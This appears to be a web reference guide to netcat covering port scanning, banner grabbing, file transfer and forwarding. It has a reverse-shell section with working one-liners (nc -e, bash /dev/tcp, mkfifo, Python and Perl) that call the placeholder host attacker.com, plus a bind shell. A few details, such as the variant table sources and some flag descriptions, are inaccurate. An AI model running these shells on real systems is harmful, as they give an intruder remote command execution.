Skip to content

Netcat (Nc)

Netcat (nc) is a powerful networking utility for reading and writing data across network connections. This guide covers port scanning, file transfer, establishing connections, reverse shells, and diagnostic networking tasks.

Installation

Linux/Ubuntu

# Install netcat-openbsd (recommended)
sudo apt-get update
sudo apt-get install netcat-openbsd

# Or netcat-traditional
sudo apt-get install netcat

# Verify installation
nc --version
which nc

macOS

# Using Homebrew
brew install netcat

# Verify installation
nc -h

Windows

# Using Chocolatey
choco install netcat

# Or Scoop
scoop install netcat

# Manual: Download from nmap.org/ncat/
# Add to PATH environment variable

Basic Concepts

Netcat Variants

ToolDescriptionSource
ncOriginal netcat (traditional)hobbit.niara.org
ncatNmap project version (modern)nmap.org
netcat-openbsdOpenBSD variant (secure)openssh.org

Connection Basics

Listening on Ports

# Listen on port 8080
nc -l 8080

# Listen on specific IP and port
nc -l -p 8080

# Listen with verbose output
nc -v -l 8080

# Keep listening after connection closes
nc -l -k 8080

# Listen on UDP instead of TCP
nc -u -l 8080

# Listen and execute command on connection
nc -l -p 8080 -e /bin/bash

Connecting to Remote Hosts

# Connect to remote host on port 80
nc example.com 80

# Connect with timeout
nc -w 5 example.com 80

# Connect with verbose output
nc -v example.com 80

# Connect to UDP service
nc -u example.com 53

# Connect with specific source IP
nc -s 192.168.1.100 example.com 80

# Connect with source port
nc -p 12345 example.com 80

Port Scanning

Basic Port Scanning

# Scan single port
nc -zv example.com 80

# Scan port range
nc -zv example.com 80-85

# Scan multiple ports
nc -zv example.com 22 80 443 8080

# Scan with timeout
nc -zv -w 2 example.com 80

# Scan UDP port
nc -zuv example.com 53

# Scan common ports
for port in 22 80 443 3306 5432 8080; do
    nc -zv -w 1 example.com $port
done

# Scan all ports (1-65535)
nc -zv example.com 1-65535

Scanning with Output

# Show open ports only
nc -zv example.com 1-1000 2>&1 | grep "succeeded"

# Capture scan results
nc -zv example.com 80-85 2>&1 | tee scan_results.txt

# Count open ports
nc -zv example.com 1-1000 2>&1 | grep -c "succeeded"

# Port scan with timing
time nc -zv example.com 1-1000

Retrieving Service Information

# Grab HTTP banner
nc -v example.com 80
GET / HTTP/1.1
Host: example.com
[press Enter twice]

# Grab SSH banner
nc -v example.com 22

# Grab SMTP banner
nc -v mail.example.com 25

# Grab FTP banner
nc -v ftp.example.com 21

# Automated banner grab
echo "" | nc -v -w 2 example.com 80

# Save banner to file
echo "" | nc -v -w 2 example.com 80 > banner.txt

Service Enumeration

# Get HTTP headers
printf "HEAD / HTTP/1.0\r\n\r\n" | nc example.com 80

# Get SMTP information
{
    sleep 1
    echo "EHLO test"
    sleep 1
} | nc mail.example.com 25

# Query DNS
echo "google.com" | nc -u 8.8.8.8 53

# Test TELNET (port 23)
nc -v example.com 23

File Transfer

Sending Files

# Sender: Send file to listening host
nc -l -p 8080 < file.txt

# Receiver: Accept file
nc example.com 8080 > file.txt

# Bidirectional file transfer (with tee)
# Sender
nc -l -p 8080 < file.txt

# Receiver
nc example.com 8080 > received_file.txt

Large File Transfer

# Transfer large file with progress
# Sender
pv -q file.tar.gz | nc -l 8080

# Receiver
nc example.com 8080 | pv -q > file.tar.gz

# Send compressed data
# Sender
tar czf - /data | nc -l 8080

# Receiver
nc example.com 8080 | tar xzf -

Bidirectional Communication

# Start listening on sender
nc -l -p 8080 -w 10 < send.txt

# Connect from receiver and send back
nc example.com 8080 > receive.txt

# Using pipes for bidirectional
# Terminal 1 (listen)
mkfifo fifo1 fifo2
nc -l -p 8080 < fifo1 > fifo2

# Terminal 2 (connect)
nc example.com 8080 > fifo1 < fifo2

Chat and Communication

Simple Chat Server

# Host: Listen for connections
nc -l -k -p 8080

# Client 1: Connect to host
nc example.com 8080

# Client 2: Connect to host
nc example.com 8080

# All can communicate (messages relayed via host)

Message Broadcasting

# Start broadcast listener
nc -l -u -p 8080

# Send broadcast message
echo "Hello everyone" | nc -u -b 255.255.255.255 8080

# Receive on multiple hosts
nc -u -l -p 8080

Reverse Shells

Creating Reverse Shells

# Reverse shell to attacker machine
# On target
nc -e /bin/bash attacker.com 8080

# On attacker (listen first)
nc -v -l -p 8080

# Reverse shell with /bin/sh
nc -e /bin/sh attacker.com 8080

# Using bash explicitly
bash -i >& /dev/tcp/attacker.com/8080 0>&1

Alternative Reverse Shell Methods

# Using exec
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc attacker.com 8080 >/tmp/f

# Using Python (if bash/nc not available)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Using Perl
perl -e 'use Socket;$i="attacker.com";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Listening for Reverse Shells

# Attacker: Listen for incoming shell
nc -l -p 8080

# Attacker: Listen with verbose
nc -v -l -p 8080

# Attacker: Log all connections
nc -v -l -p 8080 | tee shell_connection.log

# Attacker: Listen on multiple ports
nc -l -k -p 8080

# Attacker: Listen and save commands
nc -l -p 8080 > commands_executed.txt

Network Debugging

Testing Connectivity

# Simple connectivity test
nc -zv example.com 80

# Trace route with TTL
for i in {1..30}; do
    echo "TTL: $i"
    nc -zv -w 1 -t $i example.com 80
done

# Test with specific interface
nc -s 192.168.1.100 example.com 80

# Measure latency
time nc -zv -w 2 example.com 80

Raw Protocol Inspection

# Capture raw HTTP request
{
    echo -ne "GET / HTTP/1.1\r\n"
    echo -ne "Host: example.com\r\n"
    echo -ne "Connection: close\r\n\r\n"
} | nc example.com 80

# Capture SMTP conversation
{
    sleep 1
    echo "EHLO mydomain"
    sleep 1
    echo "MAIL FROM: <test@mydomain.com>"
    sleep 1
    echo "RCPT TO: <recipient@example.com>"
    sleep 1
    echo "DATA"
    echo "Subject: Test"
    echo ""
    echo "Test message"
    echo "."
    sleep 1
    echo "QUIT"
} | nc mail.example.com 25

# Raw socket manipulation
echo "test data" | nc -r example.com 9999

Advanced Usage

Proxy and Port Forwarding

# Simple port forwarding
# Forward local 8080 to remote:80
nc -l -p 8080 -w 1 | nc example.com 80

# Persistent forwarding using nc and loop
while true; do
    nc -l -p 8080 | nc example.com 80
done

# Using socat (more robust)
socat TCP-LISTEN:8080,reuseaddr TCP:example.com:80

Load Testing

# Send repeated connections
for i in {1..100}; do
    nc -zv example.com 80 &
done

# Send data in loop
{
    for i in {1..1000}; do
        echo "GET / HTTP/1.1"
        echo "Host: example.com"
        echo "Connection: close"
        echo ""
    done
} | nc example.com 80

# Concurrent connections
yes | xargs -I {} -P 10 nc -zv example.com 80

Network Sniffing (Raw Mode)

# Capture raw packets (with tcpdump)
tcpdump -i eth0 -w capture.pcap

# Analyze pcap with nc
tcpdump -r capture.pcap | head -20

# Replay captured packets (advanced)
# Use tcpreplay or custom tools

Command Options Reference

OptionDescriptionExample
-lListen modenc -l 8080
-pSpecify portnc -l -p 8080
-uUDP mode (default TCP)nc -u example.com 53
-vVerbose outputnc -v example.com 80
-nNumeric IP only (no DNS)nc -n 192.168.1.1 80
-wSet timeoutnc -w 5 example.com 80
-zScan mode (no I/O)nc -zv example.com 80
-eExecute programnc -e /bin/bash -l 8080
-kKeep listeningnc -l -k 8080
-sSource addressnc -s 192.168.1.100 example.com 80

Practical Examples

Web Server Check Script

#!/bin/bash
# Check if web servers are responding

HOSTS=("example.com" "example.org" "example.net")
PORTS=(80 443 8080)

for host in "${HOSTS[@]}"; do
    for port in "${PORTS[@]}"; do
        if nc -zv -w 2 "$host" "$port" 2>/dev/null; then
            echo "OK: $host:$port"
        else
            echo "FAIL: $host:$port"
        fi
    done
done

Port Scanner

#!/bin/bash
# Comprehensive port scanner

TARGET="$1"
START_PORT="${2:-1}"
END_PORT="${3:-1000}"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target> [start_port] [end_port]"
    exit 1
fi

echo "Scanning $TARGET from port $START_PORT to $END_PORT..."

for port in $(seq $START_PORT $END_PORT); do
    timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null && \
        echo "Port $port: OPEN"
done

File Transfer with Verification

#!/bin/bash
# Transfer file with checksum verification

SOURCE_FILE="$1"
DEST_HOST="$2"
DEST_PORT="${3:-8080}"

if [ ! -f "$SOURCE_FILE" ]; then
    echo "File not found: $SOURCE_FILE"
    exit 1
fi

# Calculate source checksum
SRC_CHECKSUM=$(md5sum "$SOURCE_FILE" | awk '{print $1}')
echo "Source checksum: $SRC_CHECKSUM"

# Send file
cat "$SOURCE_FILE" | nc -l "$DEST_PORT" &
sleep 1

# On receiver: nc $DEST_HOST $DEST_PORT > received_file
echo "File transmitted. Verify checksum on receiver:"
echo "md5sum received_file"

Troubleshooting

Connection Refused

# Check if port is listening
nc -zv example.com 80

# Verify service is running
sudo netstat -tuln | grep ":80"

# Check firewall
sudo ufw status
sudo iptables -L -n | grep 80

# Test from localhost
nc -v localhost 80

Timeout Issues

# Increase timeout for slow networks
nc -w 10 example.com 80

# Check network path
mtr example.com

# Verify DNS resolution
nslookup example.com

Port Already in Use

# Find process using port
sudo lsof -i :8080

# Kill process
sudo kill -9 <PID>

# Or use different port
nc -l -p 8081

Security Considerations

Secure Transfer

# Encrypt data with SSL/TLS
# Using openssl instead
openssl s_client -connect example.com:443

# Encrypt with GPG before transfer
gpg --encrypt --recipient user@example.com file.txt
cat file.txt.gpg | nc -l 8080

# On receiver
nc example.com 8080 | gpg --decrypt > file.txt

Preventing Unauthorized Access

# Use firewall to restrict connections
sudo ufw allow from 192.168.1.0/24 to any port 8080

# Use IP whitelist
# Create iptables rules
sudo iptables -A INPUT -p tcp --dport 8080 -s 192.168.1.100 -j ACCEPT

# Require authentication (wrapper script)
# Validate IP/credentials before executing

Resources


Last updated: 2025-03-30